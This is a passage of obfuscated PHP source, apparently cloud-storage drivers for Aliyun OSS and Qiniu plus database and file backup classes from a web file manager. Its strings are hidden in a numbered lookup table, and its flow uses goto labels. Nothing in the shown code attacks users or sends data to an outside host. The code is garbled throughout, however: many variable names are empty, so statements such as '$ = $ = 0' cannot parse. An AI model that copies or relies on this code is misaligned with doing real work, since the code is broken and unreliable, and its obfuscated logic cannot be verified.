= 500; $Ȏ = $⾌ = 0; while (!0) { check_abort(); $껦 = array($Ţ[1411] => $Ţ[8], $Ţ[1412] => $嗗, $Ţ[1413] => $ԗ, $Ţ[1414] => $Ɉ); try { $ɯ = $this->client->listObjects($this->bucket, $껦); } catch (OSS\Core\OssException $) { break; } $Ɉ = $ɯ->getNextMarker(); $͢ = $ɯ->getObjectList(); $ź = $ɯ->getPrefixList(); if ($) { if (count($͢) > 1 || count($͢) == 1 && $͢[0]->getKey() != $嗗) { $Ȏ += count($͢) - 1; } if (!empty($ź)) { $⾌ += count($ź); } if ($Ɉ === $Ţ[12]) { break; } continue; } if ($) { if (!empty($͢)) { if (count($͢) > 1 || $͢[0]->getKey() != $嗗) { return !0; } } } else { if (!empty($ź)) { return !0; } } if ($Ɉ === $Ţ[12]) { break; } } if ($) { return array($Ţ[207] => $Ȏ, $Ţ[208] => $⾌); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $ = array(); foreach ($[$[83]] as $嵑) { $[$嵑[$[32]]] = $嵑[$[76]]; } foreach ($[$[82]] as $嵑) { if (is_string($嵑)) { $[$嵑] = 0; } } return $this->listAllFiles($, array_keys($), $); } public function canRead($π) { $눓 =& $_SERVER[]; $ = $this->pathAcl($π); return $ == $눓[1424] || $ == $눓[556] ? !0 : !1; } public function canWrite($䖘) { $ = $this->pathAcl($䖘); return $ == $_SERVER[][556] ? !0 : !1; } public function pathAcl($) { $ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $®) { return !1; } $ώ = $ == $[37] ? $this->bucketAcl : $; if ($ώ == $[1425]) { return $[1424]; } if ($ώ == $[1426]) { return $[556]; } return $ώ; } private function chmodPath($Ѫ, $ק = '') { $ =& $_SERVER[]; $֝ = empty($ק) ? $[1426] : $ק; $Ş = array($[37], $[198], $[1425], $[1426]); if (!in_array($֝, $Ş)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($Ѫ), $֝); } catch (OSS\Core\OssException $ɷ) { return !1; } return !0; } public function getContent($ų) { return $this->fileSubstr($ų, -1); } public function setContent($, $ = '') { $ =& $_SERVER[]; try { $ȃ = $this->trafficLimit($[1427]); $ǴԈ = $this->client->putObject($this->bucket, $this->pathEncode($), $, $ȃ); } catch (OSS\Core\OssException $) { return !1; } $ = array($[1417] => trim($ǴԈ[$[1428]], $[118]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $); return isset($ǴԈ[$[1429]][$[1374]]) ? !0 : !1; } private function updateObjMeta($Ý, $´پ) { $Ý = $this->pathEncode($Ý); try { $Ŏ = array(OSS\OssClient::OSS_HEADERS => $´پ); $this->client->copyObject($this->bucket, $Ý, $this->bucket, $Ý, $Ŏ); } catch (OSS\Core\OssException $Ώ) { return !1; } return !0; } public function upload($Ľ, $å, $髦 = false, $ڷ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ّ = trim($Ľ, $[8]); $ι = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1417] => @md5_file($å)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($Ľ))); $ι = $this->trafficLimit($[1427], $ι); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($ّ), $å, $ι); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($Ľ); } public function getHost() { $ܟ =& $_SERVER[]; $ = explode($ܟ[183], parent::getHost()); return $[0] . $ܟ[183] . $this->bucket . $ܟ[10] . $[1]; } public function uploadFormData($ܨ, $̗ʨ = 3600) { $ =& $_SERVER[]; if (!($ߺ = $this->getHost())) { return !1; } $֮ = $̗ʨ; $ӹ = date($[1430], time() + $֮); $ = new DateTime($ӹ); $ϙ = $->format(DateTime::ISO8601); $ = strpos($ϙ, $[296]); $ϙ = substr($ϙ, 0, $) . $[1431]; $ = 1048576000 * 5; $ = $this->pathFather($ܨ); $ = array($[1328] => $ϙ, $[1329] => array(array($[1432], 0, $), array($[1332], $[1333], $))); $ڜ = base64_encode(json_encode($)); $ = base64_encode(hash_hmac($[232], $ڜ, $this->secret, !0)); $ԧ = array($[1338] => $ڜ, $[1433] => $this->accessKey, $[1334] => $[1326], $[1434] => $, $[181] => $ߺ); $ԧ = $this->trafficLimit($[1427], $ԧ); return $ԧ; } public function multiUploadFormData($͏, $ = 3600) { $ߞ =& $_SERVER[]; if (!($͏ = $this->getHost())) { return !1; } $ = $this->trafficLimit($ߞ[1427]); $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($͏), $); return array($ߞ[223] => $, $ߞ[181] => $͏ . $ߞ[8] . $this->pathEncode($͏), $ߞ[224] => gmdate($ߞ[1435]), $ߞ[94] => $͏); } public function multiUploadAuthData($, $ = array()) { $⦑ =& $_SERVER[]; $ = isset($[$⦑[224]]) ? $[$⦑[224]] : gmdate($⦑[1435]); $ = isset($[$⦑[174]]) ? $[$⦑[174]] : $⦑[12]; $ҭÜ = $; if (isset($[$⦑[94]])) { $ҭÜ = $[$⦑[94]]; unset($[$⦑[94]]); } if (isset($[$⦑[225]])) { $[$⦑[224]] = $; return $this->listUploadParts($ҭÜ, $); } $̳Ʋ = array($⦑[226], $⦑[12], $⦑[120], $, "\x78\55\157\163\x73\55\144\x61\x74\145\72{$}", $⦑[8] . $this->bucket . $⦑[8] . $ҭÜ . $); if (strpos($, $⦑[227]) === 0) { $̳Ʋ[0] = $⦑[228]; if ($ = $this->trafficLimit($⦑[1427])) { $ҭÜ = $⦑[1436]; array_splice($̳Ʋ, 5, 0, $ҭÜ . $⦑[4] . $[$ҭÜ]); } } if (isset($[$⦑[229]]) && $[$⦑[229]] == $⦑[230]) { $̳Ʋ[0] = $⦑[230]; } if (!empty($[$⦑[1437]])) { $ө = array_merge(array($̳Ʋ[4]), $[$⦑[1437]]); sort($ө); $̳Ʋ[4] = implode($⦑[231], $ө); } $ = implode($⦑[231], $̳Ʋ); $ = base64_encode(hash_hmac($⦑[232], $, $this->secret, !0)); $å = $⦑[1401] . $this->accessKey . $⦑[4] . $; if (strpos($, $⦑[227]) === 0) { $å = array($⦑[234] => $å, $⦑[224] => $); if ($) { $å = array_merge($å, $); } } return $å; } public function listUploadParts($ڜ, $低) { $Ȼ =& $_SERVER[]; $ƛ = parse_url_query($低[$Ȼ[174]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($ڜ), $ƛ[$Ȼ[223]]); $ظð = $->getListPart(); $ = array(); foreach ($ظð as $) { $[] = array($Ȼ[1421] => $->getPartNumber(), $Ȼ[1422] => trim($->getETag(), $Ȼ[118])); } unset($低[$Ȼ[225]], $低[$Ȼ[229]]); $ = $this->multiUploadAuthData($ڜ, $低); if (empty($)) { return !1; } return array($Ȼ[234] => $, $Ȼ[224] => $低[$Ȼ[224]], $Ȼ[236] => $); } public function download($Є, $) { if ($this->isFolder($Є)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $); $ = $this->trafficLimit($_SERVER[][109], $); $this->client->getObject($this->bucket, $this->pathEncode($Є), $); } catch (OSS\Core\OssException $Ӟ) { return !1; } return $; } public function fileSubstr($ֹ, $ó = 0, $ = false) { if ($ó === -1) { $ = array(); } else { if ($ === !1) { $ծ = $this->size($ֹ); } else { $ծ = $ó + $ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$ó}\x2d{$ծ}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($ֹ), $); } catch (OSS\Core\OssException $ʻ) { think_exception($ʻ->getMessage()); return !1; } } private function trafficLimit($Φ, $Ί = array()) { $ =& $_SERVER[]; if ($Φ == $[1427] && $this->isUploadServer() || $Φ == $[109] && $this->isFileOutServer()) { return $Ί; } $۩ = floatval($GLOBALS[$[6]][$[89]][$[107]][$Φ]) * 1024 * 1024 * 8; if (!$۩) { return $Ί; } $۩ = $۩ < 819200 ? 819200 : ($۩ > 838860800 ? 838860800 : $۩); $Ί[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($۩); return $Ί; } public function link($, $ = array()) { $ɑĿ =& $_SERVER[]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $ = $this->trafficLimit($ɑĿ[109], $); $Х = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $ɑĿ[230], $); return $this->getCdnLink($Х); } catch (OSS\Core\OssException $ڊ) { return !1; } } public function fileOut($, $ = false, $գπ = false, $ = '') { $蝈 =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $գπ, $); } if (!$գπ) { $գπ = $this->pathThis($); } $գπ = rawurlencode($գπ); $ = get_file_mime(get_path_ext($գπ)); if ($ == $蝈[217]) { return parent::fileOut($, $, $գπ, $); } $ = $ ? $蝈[1438] : $蝈[1439]; $㦏 = array(OSS\OssClient::OSS_SUB_RESOURCE => $蝈[1440] . rawurlencode("{$}\73\146\151\154\x65\156\141\x6d\145\75{$գπ}")); $㦏[OSS\OssClient::OSS_SUB_RESOURCE] .= $蝈[1441] . rawurlencode($); $˾ = $this->link($, $㦏); $this->fileOutLink($˾); } public function fileOutServer($㓚, $۫ = false, $ˍ = false, $Į = '') { parent::fileOut($㓚, $۫, $ˍ, $Į); } public function fileOutImage($, $䈟 = 250) { $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1442] . $䈟); $ؕ = $this->link($, $); $this->fileOutLink($ؕ); } public function fileOutImageServer($, $߃ۨ = 250) { parent::fileOutImage($, $߃ۨ); } public function fileOutLink($ƛ) { $ɏ =& $_SERVER[]; if (!$this->isCdnHost() && substr($ƛ, 0, 7) == $ɏ[1341]) { $ƛ = $ɏ[1342] . substr($ƛ, 7); } header($ɏ[161] . $ƛ); die; } public function hashMd5($ޝ, $ۭ = '') { $֝ =& $_SERVER[]; $ = $this->_objectMeta($ޝ); if (!$) { return $֝[12]; } if (!isset($[$֝[1417]]) && !empty($ۭ)) { $ϻɪ = $this->updateObjMeta($ޝ, array($֝[1417] => $ۭ)); $[$֝[1417]] = $ϻɪ ? $ۭ : $֝[12]; } return isset($[$֝[1417]]) ? strtolower($[$֝[1417]]) : $֝[12]; } public function size($ܜД) { $ = $this->objectMeta($ܜД); return $ ? $[$_SERVER[][76]] : 0; } public function info($ȱ) { if ($this->isFolder($ȱ)) { return $this->folderInfo($ȱ); } else { if ($this->isFile($ȱ)) { return $this->fileInfo($ȱ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ܙ) { return !$this->isFolder($ܙ) && $this->objectMeta($ܙ); } public function isFolder($) { return $this->cacheMethod($_SERVER[][165], $); } protected function objectMeta($̋) { return $this->cacheMethod($_SERVER[][167], $̋); } protected function _objectMeta($ɜ) { $ڠ =& $_SERVER[]; try { $٦ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($ɜ)); } catch (OSS\Core\OssException $֏) { $٦ = !1; } if ($٦) { $٦[$ڠ[76]] = intval($٦[$ڠ[1415]]); } return $٦; } protected function _isFolder($ߍ) { $ۧ =& $_SERVER[]; if ($ߍ == $ۧ[12] || $ߍ == $ۧ[8]) { return !0; } $ = array($ۧ[1411] => $ۧ[8], $ۧ[1412] => rtrim($ߍ, $ۧ[8]) . $ۧ[8], $ۧ[1413] => 1, $ۧ[1414] => $ۧ[12]); $ = $this->client->listObjects($this->bucket, $); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $config = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public function __construct($ߦ) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1443]; $this->_init($ߦ); } public function _init($) { $ =& $_SERVER[]; foreach ($ as $ŝ => $) { if (isset($this->{$ŝ})) { $this->{$ŝ} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1444] . LNG($[1402])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->config = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->config); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($蔘, $ = '', $ɜ = REPEAT_RENAME) { if ($this->setContent($蔘, $)) { return $this->getPathOuter($蔘); } return !1; } public function mkdir($̗, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $Ԅ = trim($̗, $[8]); if ($this->_isFolder($Ԅ)) { return $this->getPathOuter($Ԅ); } $̗ = $Ԅ . $[8]; $ = get_path_this($Ԅ); $ = $̗ . $; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $̗)) { $this->delFile($); return !1; } return $this->getPathOuter($Ԅ); } public function copyFile($, $) { $πν = $this->bucketManager->copy($this->bucket, $, $this->bucket, $, !0); return $πν ? !1 : $this->getPathOuter($); } public function moveFile($¿, $̂) { $ = $this->bucketManager->move($this->bucket, $¿, $this->bucket, $̂, !0); return $ ? !1 : $this->getPathOuter($̂); } public function delFile($î։) { if (!$this->exist($î։)) { return !0; } $ٓ = $this->bucketManager->delete($this->bucket, $î։); return $ٓ ? !1 : !0; } public function delFolder($﵍) { $ހ =& $_SERVER[]; if (!$this->exist($﵍)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($﵍); $this->listItemCache = !0; $ = trim($﵍, $ހ[8]) . $ހ[8]; if (!empty($﵍) && $﵍ !== $ހ[197] && !in_array($, $[$ހ[82]])) { $[$ހ[82]][] = $; } $Υ = $this->delByBatch($[$ހ[83]]); if (!$Υ) { return !1; } $Υ = $this->delByBatch($[$ހ[82]]); if (!$Υ) { return !1; } return $this->delFile($); } private function delByBatch($Τ) { foreach (array_chunk($Τ, 1000) as $) { $ˊ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($Ź, $) = $this->bucketManager->batch($ˊ); if ($) { return !1; } } return !0; } public function rename($ْƙ, $ŭ) { return $this->renameObject($ْƙ, $ŭ); } public function fileInfo($Ԗ, $߸͏ = false, $辊ӕ = array()) { $攔 =& $_SERVER[]; $ý = array($攔[32] => $this->pathThis($Ԗ), $攔[84] => $this->getPathOuter($攔[8] . $Ԗ), $攔[33] => $攔[199], $攔[76] => isset($辊ӕ[$攔[1445]]) ? $辊ӕ[$攔[1445]] : 0, $攔[174] => $this->ext($Ԗ)); if ($߸͏) { return $ý; } $ý[$攔[200]] = $ý[$攔[85]] = 0; $ý[$攔[201]] = $ý[$攔[202]] = !0; if (empty($辊ӕ)) { $辊ӕ = $this->objectMeta($Ԗ); if (!$辊ӕ) { return $ý; } } if (isset($辊ӕ[$攔[1446]])) { $ý[$攔[85]] = substr($辊ӕ[$攔[1446]] . $攔[12], 0, 10); } if (isset($辊ӕ[$攔[1445]])) { $ý[$攔[76]] = $辊ӕ[$攔[1445]]; } return $ý; } public function folderInfo($őȫ, $ = false) { $ =& $_SERVER[]; $Ǫ = array($[32] => $this->pathThis($őȫ), $[84] => $this->getPathOuter($[8] . $őȫ), $[33] => $[75]); if ($) { return $Ǫ; } $Ǫ[$[200]] = $Ǫ[$[85]] = 0; $Ǫ[$[201]] = $Ǫ[$[202]] = !0; $őȫ = rtrim($őȫ, $[8]) . $[8]; $Ź = $this->objectMeta($őȫ); if (isset($Ź[$[1446]])) { $Ǫ[$[85]] = substr($Ź[$[1446]] . $[12], 0, 10); } return $Ǫ; } public function listPath($ܧɌ, $Ƭ = false) { $Ǿ =& $_SERVER[]; $˻ = $this->fileList($ܧɌ, $Ǿ[8], !0); foreach ($˻[$Ǿ[82]] as $ʥэ => $ձ) { $˻[$Ǿ[82]][$ʥэ] = $this->folderInfo($ձ, $Ƭ); } foreach ($˻[$Ǿ[83]] as $ʥэ => $ձ) { $˻[$Ǿ[83]][$ʥэ] = $this->fileInfo($ձ[$Ǿ[94]], $Ƭ, $ձ); } return $˻; } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ڶ = empty($) && $ !== $[197] ? $[12] : $ . $[8]; $ϐ = $[12]; $ޝ = 500; $ߙ = $[8]; $ = $͉§ = 0; while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $ڶ, $ϐ, $ޝ, $ߙ); if ($) { break; } $ϐ = array_key_exists($[1414], $) ? $ϐ = $[$[1447]] : $[12]; if ($) { if (!empty($[$[1448]])) { $ += count($[$[1448]]); } if (!empty($[$[1449]])) { $͉§ += count($[$[1449]]); } if ($ϐ === $[12]) { break; } continue; } if ($) { if (!empty($[$[1448]])) { return !0; } } else { if (!empty($[$[1449]])) { return !0; } } if ($ϐ === $[12]) { break; } } if ($) { return array($[207] => $, $[208] => $͉§); } return !1; } public function listAll($Λ) { $ٲӅ =& $_SERVER[]; $䯦 = $this->fileList($Λ, $ٲӅ[12], !0); $ռ = array(); foreach ($䯦[$ٲӅ[83]] as $) { $ռ[$[$ٲӅ[94]]] = $[$ٲӅ[76]]; } foreach ($䯦[$ٲӅ[82]] as $) { if (is_string($)) { $ռ[$] = 0; } } return $this->listAllFiles($Λ, array_keys($ռ), $ռ); } private function fileList($, $ѝȓ = '', $ٶ = 0) { $۹ϥ =& $_SERVER[]; $ = trim($, $۹ϥ[8]); $Τ = empty($) && $ !== $۹ϥ[197] ? $۹ϥ[12] : $ . $۹ϥ[8]; $Ìʪ = $۹ϥ[12]; $Ϊ = 1000; $ӟ = $ = array(); while (!0) { check_abort(); list($먎, $ߠ) = $this->bucketManager->listFiles($this->bucket, $Τ, $Ìʪ, $Ϊ, $ѝȓ); if ($ߠ) { break; } $Ìʪ = array_key_exists($۹ϥ[1414], $먎) ? $Ìʪ = $먎[$۹ϥ[1447]] : $۹ϥ[12]; $զ = isset($먎[$۹ϥ[1448]]) ? $먎[$۹ϥ[1448]] : array(); $Լ = isset($먎[$۹ϥ[1449]]) ? $먎[$۹ϥ[1449]] : array(); foreach ($զ as $Уϐ) { if ($Уϐ[$۹ϥ[94]] == $Τ) { continue; } $ۡ = $Уϐ[$۹ϥ[94]]; $ = $Уϐ[$۹ϥ[1445]]; $Уϐ[$۹ϥ[76]] = $; $ȇ = $ == 0 && substr($ۡ, strlen($ۡ) - 1, 1) == $۹ϥ[8] ? !0 : !1; $this->cacheMethodInfoSet($ۡ, $ȇ, $Уϐ); if ($ȇ) { $ӟ[] = $ۡ; continue; } $[] = $ٶ ? $Уϐ : $ۡ; } foreach ($Լ as $ۡ) { if ($ۡ == $Τ) { continue; } $ӟ[] = $ۡ; $this->cacheMethodInfoSet($ۡ, !0); } if ($Ìʪ === $۹ϥ[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($۹ϥ[82] => $ӟ, $۹ϥ[83] => $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($҃) { return $this->exist($҃) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ = '') { $ۋ = $this->tempFile($this->pathThis($)); file_put_contents($ۋ, $); if ($this->upload($, $ۋ)) { $this->tempFileRemve($ۋ); return !0; } return !1; } public function refreshUrls($) { $˱ў =& $_SERVER[]; $␀ = array(); if (is_array($)) { foreach ($ as $Կ) { $␀[] = $this->link($Կ); } } else { $␀[] = $this->link($); } $ҙ = new Qiniu\Cdn\CdnManager($this->auth); list($, $쇼ʗ) = $ҙ->refreshUrls($␀); if ($쇼ʗ) { return !1; } return $[$˱ў[1190]] == $˱ў[764] ? !0 : !1; } public function fileSubstr($, $, $) { $ =& $_SERVER[]; if (!($ = $this->link($))) { return !1; } $а = !1; if ($ > 0) { $߷ = $ + $ - 1; $а = array($[1450] . $ . $[386] . $߷); } $ = url_request($, $[230], !1, $а); return $[$[754]] ? $[$[1210]] : !1; } public function upload($Р, $, $Ɵʎ = false, $ = REPEAT_REPLACE) { $⻛ = new Qiniu\Storage\UploadManager(); $Ƥ = $this->auth->uploadToken($this->bucket, $Р); $Ӈة = get_file_mime(get_path_ext($)); list($, $) = $⻛->putFile($Ƥ, $Р, $, null, $Ӈة); return $ ? !1 : $this->getPathOuter($Р); } public function uploadFormData($ż, $Ͷ = 3600) { return $this->uploadToken($ż, $Ͷ); } public function multiUploadFormData($ݧ, $؛ = 3600) { return $this->uploadToken($ݧ, $؛); } private function uploadToken($ٴ, $َ = 3600) { $Ʌ =& $_SERVER[]; $Ƅ = $َ; $ = array($Ʌ[1451] => $Ʌ[1452]); $ = $ٴ; $ߊ = $this->auth->uploadToken($this->bucket, $, $Ƅ, $, !0); $ᤈ = empty($this->region) || $this->region == $Ʌ[1453] ? $Ʌ[12] : $Ʌ[386] . $this->region; $Қ = http_type() . "\x3a\57\57\165\160\154\157\x61\x64{$ᤈ}\56\x71\x69\x6e\151\x75\160\x2e\143\x6f\155\57"; return array($Ʌ[1454] => $ߊ, $Ʌ[1455] => $Қ); } public function download($, $ĉ) { $ͨ = IO::getPathInner(IO::mkfile($ĉ)); if (!($ؿ = $this->link($))) { return !1; } $ = 0; $Ւ = 1024 * 200; $ = fopen($ͨ, $_SERVER[][1456]); while (!0) { $ = $this->fileSubstr($, $, $Ւ); if ($ === !1) { return !1; } fwrite($, $); $ += $Ւ; if (strlen($) < $Ւ) { break; } } fclose($); return $ĉ; } public function link($, $ = '') { if (!$this->isFile($)) { return !1; } $ɐ = $this->getHost() . $_SERVER[][8] . $this->pathEncode($) . $; return $this->auth->privateDownloadUrl($ɐ, 3600 * 12); } public function fileOut($, $ň = false, $Ƒ = false, $ٕ = '') { $Х =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $ň, $Ƒ, $ٕ); } if (!$Ƒ) { $Ƒ = $this->pathThis($); } $ = $ň ? $Х[1457] . rawurlencode($Ƒ) : $Х[12]; $͏ي = $this->link($, $); $this->fileOutLink($͏ي); } public function fileOutServer($, $ = false, $ۈ = false, $؎ = '') { parent::fileOut($, $, $ۈ, $؎); } public function fileOutImage($ĄƧ, $ߨ = 250) { $ = $this->link($ĄƧ, $_SERVER[][1458] . $ߨ); $this->fileOutLink($); } public function fileOutImageServer($Դ, $ϰ = 250) { parent::fileOutImage($Դ, $ϰ); } public function hashMd5($ܺ) { $Ԏ =& $_SERVER[]; $ݺ = $this->objectMeta($ܺ); return isset($ݺ[$Ԏ[212]]) ? $ݺ[$Ԏ[212]] : !1; $䩠 = $this->link($ܺ, $Ԏ[1459]); } public function size($Ě) { $ˠIJ = $this->objectMeta($Ě); return $ˠIJ ? $ˠIJ[$_SERVER[][76]] : 0; } public function info($㘓) { if ($this->isFolder($㘓)) { return $this->folderInfo($㘓); } else { if ($this->isFile($㘓)) { return $this->fileInfo($㘓); } } return !1; } public function exist($۪) { return $this->isFile($۪) || $this->isFolder($۪); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($⍏) { return $this->cacheMethod($_SERVER[][165], $⍏); } protected function objectMeta($ǖ) { return $this->cacheMethod($_SERVER[][167], $ǖ); } protected function _objectMeta($ץLJ) { $ѐӭ =& $_SERVER[]; list($͖, $Ļپ) = $this->bucketManager->stat($this->bucket, $ץLJ); if ($͖) { $͖[$ѐӭ[76]] = intval($͖[$ѐӭ[1445]]); } return $͖; } protected function _isFolder($е) { $μ =& $_SERVER[]; if ($е == $μ[12] || $е == $μ[8]) { return !0; } list($, $ƞ) = $this->bucketManager->listFiles($this->bucket, trim($е, $μ[8]) . $μ[8], $μ[12], 1, $μ[8]); return !empty($[$μ[1448]]) || !empty($[$μ[1449]]) ? !0 : !1; } } goto C͇; BƷ: class BackupDbFile { public function __construct() { } public function index() { $혀 =& $_SERVER[]; $錀 = Backup::get(); $ȁ = $錀[$혀[32]]; $쌲 = $this->tmpFilesPath() . "\x62\x61\143\153\165\160\137{$ȁ}\x2f"; $ = $this->backupPath($錀); if (!($ = IO::mkdir($))) { return !1; } $ = IO::listPath($쌲); $לŚ = isset($[$혀[83]]) ? $[$혀[83]] : array(); $鼱 = array_sum(array_column($לŚ, $혀[76])); if (!$鼱) { return !1; } $ݗ = array($혀[802] => $鼱, $혀[803] => time()); Backup::set($ݗ); $ = new TaskFileTransfer($혀[804], $혀[784], count($לŚ), LNG($혀[785]) . $혀[386] . LNG($혀[787]) . $혀[805]); $->task[$혀[767]] = $鼱; foreach ($[$혀[83]] as $) { $ͦ = IO::move($[$혀[84]], $); if (!$ͦ) { $->end(); $ = IO::getLastError($혀[806] . $[$혀[84]] . $혀[807] . $ . $혀[164]); write_log($, $혀[784]); return !1; } } $اƤ = new DbManage(); $ = $اƤ->getSqlFile(); if (!$[$혀[808]] || !$[$혀[13]]) { return !1; } IO::move($[$혀[808]], $); IO::move($[$혀[13]], $); $->end(); $ݗ = array($혀[809] => $鼱, $혀[810] => time()); Backup::set($ݗ); return !0; } private function backupPath($뮯嬈) { $ =& $_SERVER[]; $ֻ = $뮯嬈[$[32]]; $ = Model($[774])->get($[775]); $҆˗ = substr(md5($[776] . $ . $ֻ), 0, 8); return "\173\151\x6f\x3a{$뮯嬈[$[756]]}\x7d\57\144\x61\x74\x61\142\x61\x73\x65\57\142\x61\x63\x6b\x75\160\x2f" . $ֻ . $[11] . $҆˗; } private function tmpFilesPath() { $ŷƀ =& $_SERVER[]; $ڊ = TEMP_FILES; if ($GLOBALS[$ŷƀ[6]][$ŷƀ[89]][$ŷƀ[800]]) { $ڊ = $GLOBALS[$ŷƀ[6]][$ŷƀ[89]][$ŷƀ[800]]; if (!mk_dir($ڊ) || !is_writable($ڊ) || !IO::mkfile($ڊ . $ŷƀ[801])) { $ڊ = TEMP_FILES; } } return $ڊ; } } class BackupFile { public function __construct() { } public function index() { $큜 = Backup::get(); $ϙϣ = $큜[$_SERVER[][293]][$_SERVER[][199]][$_SERVER[][468]]; $ُҕ = array($_SERVER[][469] => array($_SERVER[][811], $ϙϣ), $_SERVER[][812] => array($_SERVER[][331], $큜[$_SERVER[][756]])); $ = (int) Model($_SERVER[][793])->where($ُҕ)->count($_SERVER[][468]); $Ԙ = (int) Model($_SERVER[][793])->where($ُҕ)->sum($_SERVER[][76]); $ϻ = new TaskFileTransfer($_SERVER[][813], $_SERVER[][784], $, LNG($_SERVER[][785]) . $_SERVER[][786] . LNG($_SERVER[][814])); $ϻ->task[$_SERVER[][767]] = $Ԙ; $ݳ = array($_SERVER[][815] => $, $_SERVER[][816] => $Ԙ, $_SERVER[][817] => time()); Backup::set($ݳ); $ = !0; $Ƥ = $this->storeIds(); $얻 = 1; $ = 1000; $ = $ = 0; $۔Ŏ = array(); $ = $֛ = 0; do { $ = $_SERVER[][818]; $ = Model($_SERVER[][793])->where($ُҕ)->field($)->order($_SERVER[][819])->selectPage($, $얻); $܇ = !empty($[$_SERVER[][369]]) ? $[$_SERVER[][369]] : array(); foreach ($܇ as $Ȇ) { if (!$this->_fileExist($Ȇ, $۔Ŏ, $Ƥ)) { $ -= 1; $Ԙ -= (int) $Ȇ[$_SERVER[][76]]; write_log("\146\151\154\145\40\x6e\x6f\x74\x20\145\170\151\163\x74\x2e\146\x69\x6c\x65\x49\x44\x3a{$Ȇ[$_SERVER[][468]]}\54\x20\160\141\x74\x68\x3a{$Ȇ[$_SERVER[][84]]}", $_SERVER[][820]); continue; } $ڐ = $Ȇ[$_SERVER[][84]]; $ = "\x7b\x69\x6f\x3a{$큜[$_SERVER[][756]]}\175" . substr($ڐ, strlen("\x7b\151\157\x3a{$Ȇ[$_SERVER[][821]]}\175")); if (IO::exist($)) { $ϻ->updateFileEnd($Ȇ[$_SERVER[][32]], $Ȇ[$_SERVER[][76]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($ڐ, $, $_SERVER[][822])) { write_log($_SERVER[][823] . $ڐ . $_SERVER[][807] . $ . $_SERVER[][164], $_SERVER[][784]); $ = !1; break; } } $ϙϣ = $Ȇ[$_SERVER[][468]]; $ += 1; $ += $Ȇ[$_SERVER[][76]]; $֛ += 1; $ += $Ȇ[$_SERVER[][76]]; if ($ >= 1024 * 1024 * 100) { $ݳ = array($_SERVER[][824] => $ϙϣ, $_SERVER[][825] => $֛, $_SERVER[][826] => $); Backup::set($ݳ); $ = $ = 0; } } $ = count($܇); $얻++; } while ($ == $); $ϻ->end(); $ݳ = array($_SERVER[][827] => 1, $_SERVER[][497] => time(), $_SERVER[][779] => 1, $_SERVER[][824] => $ϙϣ, $_SERVER[][816] => $Ԙ, $_SERVER[][815] => $, $_SERVER[][828] => time()); if ($) { $ݳ[$_SERVER[][825]] = $֛; $ݳ[$_SERVER[][826]] = $; } Backup::set($ݳ); $this->_fileFilter($۔Ŏ); return !0; } private function _fileExist($Ά, &$튆, $ئ) { $Ғ =& $_SERVER[]; $ǻϴ = $Ά[$Ғ[84]]; if (in_array($Ά[$Ғ[468]], $튆)) { return !1; } if (!in_array($Ά[$Ғ[821]], $ئ)) { return !1; } if (IO::exist($ǻϴ)) { return !0; } $З = get_path_father($ǻϴ); if (IO::exist($З)) { $튆[] = $Ά[$Ғ[468]]; return !1; } $ = array($Ғ[821] => $Ά[$Ғ[821]], $Ғ[84] => array($Ғ[383], "{$З}\45")); $ = Model($Ғ[793])->where($ )->field($Ғ[469])->select(); $튆 = array_merge($튆, array_to_keyvalue($, $Ғ[12], $Ғ[468])); return !1; } private function _fileFilter($ӳУ) { $ο͊ =& $_SERVER[]; if (empty($ӳУ)) { return; } $ = array($ο͊[468] => array($ο͊[7], array_unique($ӳУ))); $ = 